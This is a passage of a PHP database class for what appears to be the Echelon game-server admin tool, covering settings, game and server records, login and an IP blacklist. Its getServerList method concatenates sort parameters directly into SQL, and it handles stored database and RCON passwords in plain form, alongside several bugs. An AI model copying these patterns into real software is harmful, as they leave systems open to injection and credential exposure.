Thanks!');\r\n\r\n/**\r\n * class DBL\r\n * desc: File to deal with the connection and all queries to the Echelon Database \r\n * note: this is a singleton type class\r\n *\r\n * @var object $mysql - the var that stores the connection to the mysql DB\r\n * @var object $instance - the pointer to the instance of the class\r\n * @var bool $dbl_error - holds the db errors if any\r\n * @var string $install_error - holds any installation test connection errors\r\n * @var bool $install - is this instance to be a install test connection or a full connection\r\n */ \r\n\r\nclass DbL {\r\n\r\n\tprivate $mysql = NULL;\r\n\tprivate $install = false;\r\n\tprivate static $instance;\r\n\t\r\n\tpublic $install_erorr = NULL;\r\n\tpublic $dbl_error = false;\r\n\t\r\n\t/**\r\n\t * Gets the current instance of the class, there can only be one instance (this make the class a singleton class)\r\n\t * \r\n\t * @param bool $install - weather or not this is an install test connection\r\n\t * @return object $instance - the current instance of the class\r\n\t */\r\n\tpublic static function getInstance($install = false) {\r\n        if (!(self::$instance instanceof self)) {\r\n            self::$instance = new self($install);\r\n        }\r\n \r\n        return self::$instance;\r\n    }\r\n\t\r\n\t/**\r\n     * Auto run on creation of instance: attempts to connect to the Echelon DB or dies with the mysql error\r\n     */\r\n\tprivate function __construct($install) {\r\n\t\r\n\t\tif(isset($install))\r\n\t\t\t$this->install = $install;\r\n\t\t\r\n\t\ttry { \r\n\t\t\t$this->connectDB(); // try to connect to the database\r\n\t\t\t\r\n\t\t} catch (Exception $e) {\r\n\t\t\r\n\t\t\tif($this->install) // if this is an install test return message\r\n\t\t\t\t$this->install_error = $e->getMessage();\r\n\t\t\telse\r\n\t\t\t\tdie($e->getMessage());\r\n\t\t\t\r\n\t\t} // end try/catch\r\n\t\t\r\n\t} // end construct\r\n\t\r\n\t// Do not allow the clone operation\r\n    private function __clone() { }\r\n\r\n\t/**\r\n     * Makes the connection to the DB or throws error\r\n     */\r\n    private function connectDB () {\r\n\t\tif($this->mysql != NULL) // if it is set/created (default starts at NULL)\r\n\t\t\t@$this->mysql->close();\r\n\r\n        $this->mysql = @new mysqli(DBL_HOSTNAME, DBL_USERNAME, DBL_PASSWORD, DBL_DB); // block any error on connect, it will be caught in the next line and handled properly\r\n\t\t\r\n\t\tif(mysqli_connect_errno()) : // if the connection error is on then throw exception\r\n\r\n\t\t\tif($this->install) :\r\n\t\t\t\t$error_msg = '<strong>Database Connection Error</strong>\r\n\t\t\t\t\t<p>'.mysqli_connect_error().'<br />\r\n\t\t\t\t\tThe connection information you supplied is incorrect. Please try again.</p>';\r\n\t\t\t\r\n\t\t\telseif(DB_CON_ERROR_SHOW) : // only if settings say show to con error, will we show it, else just say error\r\n\t\t\t\t$error_msg = '<h3>Database Connection Error</h3> \r\n\t\t\t\t\t<p>'.mysqli_connect_error().'<br />\r\n\t\t\t\t\tSince we have encountered a database error, Echelon is shutting down.</p>';\r\n\t\t\t\t\t\t\t\t\r\n\t\t\telse :\r\n\t\t\t\t$error_msg = '<h3>Database Problem</h3>\r\n\t\t\t\t\t<p>Since we have encountered a database error, Echelon is shutting down.</p>';\r\n\t\t\t\t\t\t\t\t\r\n\t\t\tendif;\r\n\r\n\t\t\tthrow new Exception($error_msg);\r\n\t\tendif;\r\n\t\t\r\n    } // end connect\r\n\t\r\n\t/**\r\n     * __destruct : Destructor for class, closes the MySQL connection\r\n     */\r\n    public function __destruct() {\r\n        if ($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n            @$this->mysql->close(); // close the connection\r\n    }\r\n\t\r\n\t/**\r\n\t * Handy Query function\r\n\t *\r\n\t * @param string $sql - the SQL query to execute\r\n\t * @param bool $fetch - fetch the data rows or not\r\n\t * @param string $type - typpe of query this is \r\n\t */\r\n\tprivate function query($sql, $fetch = true, $type = 'select') {\r\n\r\n\t\tif($this->error)\r\n\t\t\treturn false;\r\n\t\t\r\n\t\ttry {\r\n\t\t\r\n\t\t\tif($stmt = $this->mysql->prepare($sql))\r\n\t\t\t\t$stmt->execute();\r\n\t\t\telse\r\n\t\t\t\tthrow new Exception('');\r\n\r\n\t\t} catch (Exception $e) {\r\n\t\t\r\n\t\t\t$this->error = true; // there is an error\r\n\t\t\tif($this->error_on) // if detailed errors work\r\n\t\t\t\t$this->error_msg = \"MySQL Query Error (#\". $this->mysql->errno .\"): \". $this->mysql->error;\r\n\t\t\telse\r\n\t\t\t\t$this->error_msg = $this->error_sec;\r\n\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\r\n\t\t## setup results array\r\n\t\t$results = array();\r\n\t\t$results['data'] = array();\r\n\t\t\r\n\t\t## do certain things depending on type of query\r\n\t\tswitch($type) { \r\n\t\t\tcase 'select': // if type is a select query\r\n\t\t\t\t$stmt->store_result();\r\n\t\t\t\t$results['num_rows'] = $stmt->num_rows(); // find the number of rows retrieved\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 'update':\r\n\t\t\tcase 'insert': // if insert or update find the number of rows affected by the query\r\n\t\t\t\t$results['affected_rows'] = $stmt->affected_rows(); \r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\t## fetch the results\r\n\t\tif($fetch) : // only fetch data if we need it\r\n\t\t\r\n\t\t\t$meta = $stmt->result_metadata();\r\n\r\n\t\t\twhile ($field = $meta->fetch_field()) :\r\n\t\t\t\t$parameters[] = &$row[$field->name];\r\n\t\t\tendwhile;\r\n\r\n\t\t\tcall_user_func_array(array($stmt, 'bind_result'), $parameters);\r\n\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\tforeach($row as $key => $val) {\r\n\t\t\t\t\t$x[$key] = $val;\r\n\t\t\t\t}\r\n\t\t\t\t$results['data'][] = $x;\r\n\t\t\tendwhile;\r\n\r\n\t\tendif;\r\n\t\t\r\n\t\t## return and close off connections\r\n\t\treturn $results;\r\n\t\t$results->close();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t} // end query()\r\n\t\r\n\t/***************************\r\n\t\r\n\t\tStart Query Functions\r\n\t\r\n\t****************************/\r\n\t\r\n\t\r\n\t/**\r\n\t * Gets an array of data for the settings form\r\n\t *\r\n\t * @param string $cat - category of settigs to retrieve\r\n\t * @return array\r\n\t */\r\n\tfunction getSettings() {\r\n        $query = \"SELECT name, value FROM ech_config\";\r\n        $stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($name, $value);\r\n        \r\n\t\t$settings = array();\r\n\t\t\r\n        while($stmt->fetch()) : // get results\r\n            $settings[$name] = $value;\r\n        endwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n        return $settings;\r\n    }\r\n\t\r\n\tfunction getGameInfo($game) {\r\n\t\r\n\t\t$query = \"SELECT id, game, name, name_short, num_srvs, db_host, db_user, db_pw, db_name, plugins FROM ech_games WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $game);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->bind_result($id, $game, $name, $name_short, $num_srvs, $db_host, $db_user, $db_pw, $db_name, $plugins);\r\n        $stmt->fetch(); // get results\t\t\r\n\t\t\r\n\t\t$game = array(\r\n\t\t\t'id' => $id,\r\n\t\t\t'game' => $game,\r\n\t\t\t'name' => $name,\r\n\t\t\t'name_short' => $name_short,\r\n\t\t\t'num_srvs' => $num_srvs,\r\n\t\t\t'db_host' => $db_host,\r\n\t\t\t'db_user' => $db_user,\r\n\t\t\t'db_pw' => $db_pw,\r\n\t\t\t'db_name' => $db_name,\r\n\t\t\t'plugins' => $plugins\r\n\t\t);\r\n\t\t\r\n\t\treturn $game;\r\n\t}\r\n    \r\n\t/**\r\n\t * Update the settings\r\n\t *\r\n\t * @param string/int $value - the new value for the setting\r\n\t * @param string $name - the name of the settings\r\n\t * @param string $value_type - wheather the value provided is a string or an int\r\n\t * @return bool\r\n\t */\r\n    function setSettings($value, $name, $value_type) {\r\n        \r\n\t\t$query = \"UPDATE ech_config SET value = ? WHERE name = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param($value_type.'s', $value, $name);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n    }\r\n    \r\n\t/**\r\n\t * Add new settings to Echelon (ech_config)\r\n\t *\r\n\t * @param string/int $value - the new value for the setting\r\n\t * @param string $name - the name of the settings\r\n\t * @param string $value_type - wheather the value provided is a string or an int\r\n\t * @return bool\r\n\t */\r\n    function addSettings($value, $name, $value_type) {\r\n        \r\n\t\t$query = \"INSERT INTO ech_config (id, value, name) VALUES (NULL, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param($value_type.'s', $value, $name);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n    }\r\n\t\r\n\t/**\r\n\t * Update game settings\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function setGameSettings($game, $name, $name_short, $db_user, $db_host, $db_name, $db_pw, $change_db_pw, $plugins) {\r\n\t\t\r\n\t\t$query = \"UPDATE ech_games SET name = ?, name_short = ?, db_host = ?, db_user = ?, db_name = ?, plugins = ?\";\r\n\t\t\r\n\t\tif($change_db_pw) // if the DB password is to be chnaged\r\n\t\t\t$query .= \", db_pw = ?\";\r\n\r\n\t\t$query .= \" WHERE id = ? LIMIT 1\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($change_db_pw) // if change DB PW append var\r\n\t\t\t$stmt->bind_param('sssssssi', $name, $name_short, $db_host, $db_user, $db_name, $plugins, $db_pw, $game);\r\n\t\telse // else var info not needed in bind_param\r\n\t\t\t$stmt->bind_param('ssssssi', $name, $name_short, $db_host, $db_user, $db_name, $plugins, $game);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n    }\r\n\t\r\n\t/**\r\n\t * Add a Game to the Echelon list\r\n\t *\r\n\t * @param string $name - name of the game\r\n\t * @param string $game - the game type (eg. cod4, cod2, bfbc2)\r\n\t * @param string $name_short - short name for the game\r\n\t * @param string $db_host - database host\r\n\t * @param string $db_user - database user\r\n\t * @param string $db_pw - database password\r\n\t * @param string $db_name - database name\r\n\t * @return bool\r\n\t */\r\n\tfunction addGame($name, $game, $name_short, $db_host, $db_user, $db_pw, $db_name) {\r\n\t\t// id, name, game, name_short, num_srvs, db_host, db_user, db_pw, db_name\r\n\t\t$query = \"INSERT INTO ech_games (name, game, name_short, num_srvs, db_host, db_user, db_pw, db_name) VALUES(?, ?, ?, 0, ?, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);\r\n\t\t$stmt->bind_param('sssssss', $name, $game, $name_short, $db_host, $db_user, $db_pw, $db_name);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction addGameCount() {\r\n\t\t$query = \"UPDATE ech_config SET value = (value + 1) WHERE name = 'num_games' LIMIT 1\";\r\n\t\t$result = $this->mysql->query($query) or die('Database Error');\r\n\t\t\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getServers($cur_game) {\r\n\t\t$query = \"SELECT id, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port FROM ech_servers WHERE game = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $cur_game);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $name, $ip, $pb_active, $rcon_pass, $rcon_ip, $rcon_port); // bind results into vars\r\n\r\n\t\twhile($stmt->fetch()) : // get results and store in an array\r\n\t\t\t$servers[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'name' => $name,\r\n\t\t\t\t'ip' => $ip,\r\n\t\t\t\t'pb_active' => $pb_active,\r\n\t\t\t\t'rcon_pass' => $rcon_pass,\r\n\t\t\t\t'rcon_ip' => $rcon_ip,\r\n\t\t\t\t'rcon_port' => $rcon_port\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $servers;\r\n\t}\r\n\t\r\n\tfunction getServer($id) {\r\n\t\t$query = \"SELECT game, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port FROM ech_servers WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($game, $name, $ip, $pb_active, $rcon_pass, $rcon_ip, $rcon_port); // bind results into vars\r\n\r\n\t\twhile($stmt->fetch()) : // get results and store in an array\r\n\t\t\t$server = array(\r\n\t\t\t\t'game' => $game,\r\n\t\t\t\t'name' => $name,\r\n\t\t\t\t'ip' => $ip,\r\n\t\t\t\t'pb_active' => $pb_active,\r\n\t\t\t\t'rcon_pass' => $rcon_pass,\r\n\t\t\t\t'rcon_ip' => $rcon_ip,\r\n\t\t\t\t'rcon_port' => $rcon_port\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $server;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a list of all the servers from all the games for the servers table\r\n\t *\r\n\t * @param string $orderby - what var to order by\r\n\t * @param string $order - which way to order (ASC/DESC)\r\n\t * @return bool\r\n\t */\r\n\tfunction getServerList($orderby, $order) {\r\n\t\t\t\r\n\t\t$query = \"SELECT s.id, s.name, s.ip, s.game, s.pb_active, g.name as g_name FROM ech_servers s LEFT JOIN ech_games g ON s.game = g.id ORDER BY \".$orderby.\" \".$order;\r\n\t\t$result = $this->mysql->query($query);\r\n\t\t$num_rows = $result->num_rows;\r\n\t\t\r\n\t\tif($num_rows > 0) :\r\n\t\t\twhile($row = $result->fetch_object()) : // get results\t\t\r\n\t\t\t\t$servers[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'game' => $row->game,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t\t'ip' => $row->ip,\r\n\t\t\t\t\t'pb_active' => $row->pb_active,\r\n\t\t\t\t\t'game_name' => $row->g_name\r\n\t\t\t\t);\r\n\t\t\tendwhile;\r\n\t\t\t\r\n\t\t\treturn $servers; // return the information\r\n\t\t\t\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\t\r\n\t\tendif;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Update server settings\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function setServerSettings($server_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $change_rcon_pw) {\r\n\t\t\r\n\t\t$query = \"UPDATE ech_servers SET name = ?, ip = ?, pb_active = ?, rcon_ip = ?, rcon_port = ?\";\r\n\t\t\r\n\t\tif($change_rcon_pw) // if the DB password is to be chnaged\r\n\t\t\t$query .= \", rcon_pass = ?\";\r\n\r\n\t\t$query .= \" WHERE id = ? LIMIT 1\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($change_rcon_pw) // if change RCON PW append\r\n\t\t\t$stmt->bind_param('ssisisi', $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw, $server_id);\r\n\t\telse // else info not needed in bind_param\r\n\t\t\t$stmt->bind_param('ssisii', $name, $ip, $pb, $rcon_ip, $rcon_port, $server_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\t\r\n    }\r\n\t\r\n\t/**\r\n\t * Add a server\r\n\t *\r\n\t * @return bool\r\n\t */\r\n    function addServer($game_id, $name, $ip, $pb, $rcon_ip, $rcon_port, $rcon_pw) {\r\n\t\t\r\n\t\t// id, game, name, ip, pb_active, rcon_pass, rcon_ip, rcon_port\r\n\t\t$query = \"INSERT INTO ech_servers VALUES(NULL, ?, ?, ?, ?, ?, ?, ?)\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ississi', $game_id, $name, $ip, $pb, $rcon_pw, $rcon_ip, $rcon_port);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\t\r\n    }\r\n\t\r\n\t/**\r\n\t * After adding a server we need to update the games table to add 1 to num_srvs\r\n\t *\r\n\t * @param int $game_id - the id of the game that is to be updated\r\n\t */\r\n\tfunction addServerUpdateGames($game_id) {\r\n\t\t$query = \"UPDATE ech_games SET num_srvs = (num_srvs + 1) WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);;\r\n\t\t$stmt->bind_param('i', $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction delServerUpdateGames($game_id) {\r\n\t\t$query = \"UPDATE ech_games SET num_srvs = (num_srvs - 1) WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error:'. $this->mysql->error);;\r\n\t\t$stmt->bind_param('i', $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction getGamesList() {\r\n\t\t$query = \"SELECT id, name, name_short FROM ech_games ORDER BY id ASC\";\r\n\t\t$results = $this->mysql->query($query) or die('Database error');\r\n\t\t\r\n\t\twhile($row = $results->fetch_object()) :\t\r\n\t\t\t$games[] = array(\r\n\t\t\t\t'id' => $row->id,\r\n\t\t\t\t'name' => $row->name,\r\n\t\t\t\t'name_short' => $row->name_short\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\treturn $games;\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function gets the salt value from the users table by using a clients username\r\n\t *\r\n\t * @param string $username - username of the user you want to find the salt of\r\n\t * @return string/false\r\n\t */\r\n\tfunction getUserSalt($username) {\r\n\t\t\r\n\t\t$query = \"SELECT salt FROM ech_users WHERE username = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $username);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\r\n\t\t$stmt->bind_result($salt); // store result\r\n\t\t$stmt->fetch(); // get the one result result\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn $salt;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function returns an array of permissions for users\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getPermissions($get_desc = true) {\r\n\t\r\n\t\tif($get_desc)\r\n\t\t\t$query = \"SELECT * FROM ech_permissions\";\r\n\t\telse\r\n\t\t\t$query = \"SELECT id, name FROM ech_permissions\";\r\n\t\t\t\r\n\t\t$query .= \" ORDER BY id ASC\";\r\n\t\t\t\r\n\t\t$results = $this->mysql->query($query);\r\n\t\t\r\n\t\twhile($row = $results->fetch_object()) : // get results\r\n\t\t\r\n\t\t\tif($get_desc) : // if get desc then return desc in results\r\n\t\t\t\t$perms[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t\t'desc' => $row->description\r\n\t\t\t\t);\r\n\t\t\t\t\r\n\t\t\telse : // else dont return the desc of the perm\r\n\t\t\t\t$perms[] = array(\r\n\t\t\t\t\t'id' => $row->id,\r\n\t\t\t\t\t'name' => $row->name,\r\n\t\t\t\t);\r\n\t\t\tendif;\r\n\t\t\t\r\n\t\tendwhile;\r\n\t\treturn $perms;\r\n\t}\r\n    \r\n\t/**\r\n\t * This function validates user login info and if correct to return some user info\r\n\t *\r\n\t * @param string $username - username of user for login validation\r\n\t * @param string $pw - password of user for login validation\r\n\t * @return array/false\r\n\t */\r\n\tfunction login($username, $pw) {\r\n\r\n\t\t$query = \"SELECT u.id, u.ip, u.last_seen, u.display, u.email, u.ech_group, g.premissions, u.timezone FROM ech_users u LEFT JOIN ech_groups g ON u.ech_group = g.id WHERE u.username = ? AND u.password = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ss', $username, $pw);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\t\r\n\t\t$stmt->bind_result($id, $ip, $last_seen, $name, $email, $group, $perms, $timezone); // store results\r\n\t\t$stmt->fetch(); // get results\r\n\r\n\t\tif($stmt->num_rows == 1):\r\n\t\t\t$results = array($id, $ip, $last_seen, $name, $email, $group, $perms, $timezone);\r\n\t\t\treturn $results; // yes log them in\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function updates user records with new IP address and time last seen\r\n\t *\r\n\t * @param string $ip - current IP address to upodate DB records\r\n\t * @param int $id - id of the current user \r\n\t */\r\n\tfunction newUserInfo($ip, $id) { // updates user records with new IP, time of login and sets active to 1 if needed\r\n\t\t\r\n\t\t$time = time();\r\n\t\t$query = \"UPDATE ech_users SET ip = ?, last_seen = ? WHERE id = ?\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sii', $ip, $time, $id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->close(); // close connection\r\n\t}\r\n\t\r\n\t/**\r\n\t * This function checks to see if the current user IP is on the blacklist\r\n\t *\r\n\t * @param string $ip - IP addrss of current user to check of current BL\r\n\t * @return bool\r\n\t */\r\n\tfunction checkBlacklist($ip) {\r\n\r\n\t\t$query = \"SELECT id FROM ech_blacklist WHERE ip = ? AND active = 1 LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database error');\r\n\t\t$stmt->bind_param('s', $ip);\r\n\t\t$stmt->execute();\r\n\r\n\t\t$stmt->store_result();\r\n\t\t\r\n\t\tif($stmt->num_rows > 0)\r\n\t\t\treturn true;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\treturn false;\r\n\t}\r\n\r\n\t/**\r\n\t * Blacklist a user's IP address\r\n\t *\r\n\t * @param string $ip - IP address you wish to ban\r\n\t * @param string $comment [optional] - Comment about reason for ban\r\n\t * @param int $admin - id of the admin who added the ban (0 if auto added)\r\n\t */\r\n\tfunction blacklist($ip, $comment = 'Auto Added Ban', $admin = 0) { // add an Ip to the blacklist\r\n\t\t$comment = cleanvar($comment);\r\n\t\t$time = time();\r\n\t\t// id, ip, active, reason, time_add, admin_id\r\n\t\t$query = \"INSERT INTO ech_blacklist VALUES(NULL, ?, 1, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database error');\r\n\t\t$stmt->bind_param('ssii', $ip, $comment, $time, $admin);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Get an array of data about the Blacklist for a table\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getBL() { // return the rows of info for the BL table\r\n\r\n\t\t$query = \"SELECT bl.id, bl.ip, bl.active, bl.reason, bl.time_add, u.display \r\n\t\t\t\t\tFROM ech_blacklist bl LEFT JOIN ech_users u ON bl.admin_id = u.id \r\n\t\t\t\t\tORDER BY active ASC\";\t\r\n\t\t\r\n\t\t$results = $this->query($query);\r\n\t\t\r\n\t\treturn $results;\r\n\t}\r\n\t\r\n\t/**\r\n\t * De/Re-actives a Blacklist Ban\r\n\t *\r\n\t * @param int $id - id of the ban\r\n\t * @param bool $active - weather to activate or deactivate\r\n\t */\r\n\tfunction BLactive($id, $active = true) {\r\n\r\n\t\tif($active == false)\r\n\t\t\t$active = 0;\r\n\t\telse\r\n\t\t\t$active = 1;\r\n\r\n\t\t$query = \"UPDATE ech_blacklist SET active = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ii', $active, $id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->close(); // close connection\r\n\r\n\t} // end BLactive\r\n\r\n\t/**\r\n\t * Gets an array of data for the users table\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getUsers() { // gets an array of all the users basic info\r\n\r\n\t\t$query = \"SELECT u.id, u.display, u.email, u.ip, u.first_seen, u.last_seen, g.namep FROM ech_users u LEFT JOIN ech_groups g ON u.ech_group = g.id ORDER BY id ASC\";\r\n\t\t\r\n\t\t$users = $this->query($query);\r\n\t\t\r\n\t\treturn $users;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a list of all currently valid registration keys\r\n\t *\r\n\t * @param $key_expire - the setting for how many days a key is valid for\r\n\t * @return array\r\n\t */\r\n\tfunction getKeys($key_expire) {\r\n\t\t$limit_seconds = $key_expire*24*60*60; // user_key_limit is sent in days so we must convert it\r\n\t\t$time = time();\r\n\t\t$expires = $time+$limit_seconds;\r\n\t\t$query = \"SELECT k.reg_key, k.email, k.comment, k.time_add, k.admin_id, u.display \r\n\t\t\t\t  FROM ech_user_keys k LEFT JOIN ech_users u ON k.admin_id = u.id\r\n\t\t\t\t  WHERE k.active = 1 AND comment != 'PW' ORDER BY time_add ASC\";\r\n\r\n\t\t$reg_keys = $this->query($query);\r\n\t\t\r\n\t\treturn $reg_keys;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Check a username is not already in use\r\n\t *\r\n\t * @param string $username - username to check\r\n\t * @return bool\r\n\t */\r\n\tfunction checkUsername($username) {\r\n\r\n\t\t$query = \"SELECT username FROM ech_users WHERE username = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $username);\r\n\t\t$stmt->execute(); // run query\r\n\t\t$stmt->store_result(); // store query\r\n\t\t\r\n\t\tif($stmt->num_rows >= 1) // if there is a row\r\n\t\t\treturn false;\r\n\t\telse\r\n\t\t\treturn true;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Find the users pasword salt by using their id\r\n\t *\r\n\t * @param int $user_id\r\n\t * @return string/false\r\n\t */\r\n\tfunction getUserSaltById($user_id) {\r\n\t\t\r\n\t\t$query = \"SELECT salt FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $user_id);\r\n\t\t$stmt->execute(); // run query\r\n\t\t\r\n\t\t$stmt->store_result(); // store results // needed for num_rows\r\n\t\t$stmt->bind_result($salt); // store result\r\n\t\t$stmt->fetch(); // get the one result result\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn $salt;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Checks that a users password is correct (needed to verify user idenity with edit me page)\r\n\t *\r\n\t * @param int $user_id - id of the user\r\n\t * @param string $hash_pw - hashed version of the pw (including the salt in the hash)\r\n\t * @return bool\r\n\t */\r\n\tfunction validateUserRequest($user_id, $hash_pw) { // see if the supplied password matches that of the supplied user id\r\n\t\t$query = \"SELECT id FROM ech_users WHERE id = ? AND password = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('is', $user_id, $hash_pw);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result(); // needed to allow num_rows to buffer\r\n\t\t\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn true; // the person exists\r\n\t\telse\r\n\t\t\treturn false; // person does not exist\r\n\t\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Allows a user to edit their display name and email\r\n\t *\r\n\t * @param string $name - new display name\r\n\t * @param string $email - new email address\r\n\t * @param int $user_id - id of the user to update\r\n\t * @return bool\r\n\t */\r\n\tfunction editMe($name, $email, $timezone, $user_id) {\r\n\t\t$query = \"UPDATE ech_users SET display = ?, email = ?, timezone = ? WHERE id = 